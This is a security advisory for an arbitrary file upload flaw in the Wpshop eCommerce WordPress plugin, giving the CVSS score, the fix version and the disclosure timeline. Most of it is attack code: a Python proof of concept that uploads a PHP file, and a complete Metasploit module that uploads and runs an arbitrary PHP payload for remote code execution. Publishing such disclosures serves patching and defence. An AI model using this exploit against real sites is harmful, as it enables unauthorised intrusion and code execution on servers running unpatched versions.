Wpshop - eCommerce 1.3.9.5, Arbitrary File Upload
The script ‘includes/ajax.php’ allows execution of various actions by anonymous users. The action name is provided in the ‘elementCode’ parameter. One of these actions is named ‘ajaxUpload’. This function allows for upload of arbitrary files, due to lack of sanitation of user input.
Homepage
https://wordpress.org/plugins/wpshop/
CVSS Score
6.4
CSSS Vector
CVSS v2 Vector (AV:N/AC:L/Au:N/C:P/I:P/A:N)
Attack Scope
remote
Authorization Required
None
Mitigation
Update to version 1.3.9.6.
Proof of Concept
The output URL is available on the web server – in this case, test.php, which will call phpinfo()
import requests
from StringIO import StringIO
s = requests.session()
target = 'http://localhost'
url = '%s/wp-content/plugins/wpshop/includes/ajax.php?elementCode=ajaxUpload'%target
files = {
"wpshop_file":("test.php",StringIO("<?php phpinfo();"))
}
r = s.post(url, files=files)
print r.text
Output
~$ python g0blin-00036.py
http://localhost/wp-content/uploads//test.php
Metasploit Module
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wpshop - eCommerce Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the wordpress Wpshop - eCommerce plugin, versions from
1.3.3.3 to 1.3.9.5. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[
'g0blin <research@g0blin.co.uk>' # Vulnerability Discovery & Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://research.g0blin.co.uk/g0blin-00036/'],
['WPVDB', '7830']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Wpshop - eCommerce 1.3.9.5', {}]],
'DisclosureDate' => 'Mar 09 2015',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php')
)
if res && res.code == 200
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
payload_name = rand_text_alpha(8 + rand(8)) + '.php'
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name="wpshop_file"; filename="#{payload_name}"")
data.add_part('ajaxUpload', 'text/plain', nil, "form-data; name="elementCode"")
post_data = data.to_s
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'wpshop',
'includes', 'ajax.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
register_files_for_cleanup(payload_name)
upload_uri = normalize_uri(res.body)
print_status("#{peer} - Executing payload #{payload_name}")
send_request_raw({
'uri' => upload_uri,
'method' => 'GET'
})
end
end
Timeline
- 2015-03-02: Discovered
- 2015-03-02: Vendor notified
- 2015-03-02: Vendor responded
- 2015-03-02: Version 1.3.9.6 released – issue resolved
- 2015-03-09: Advisory released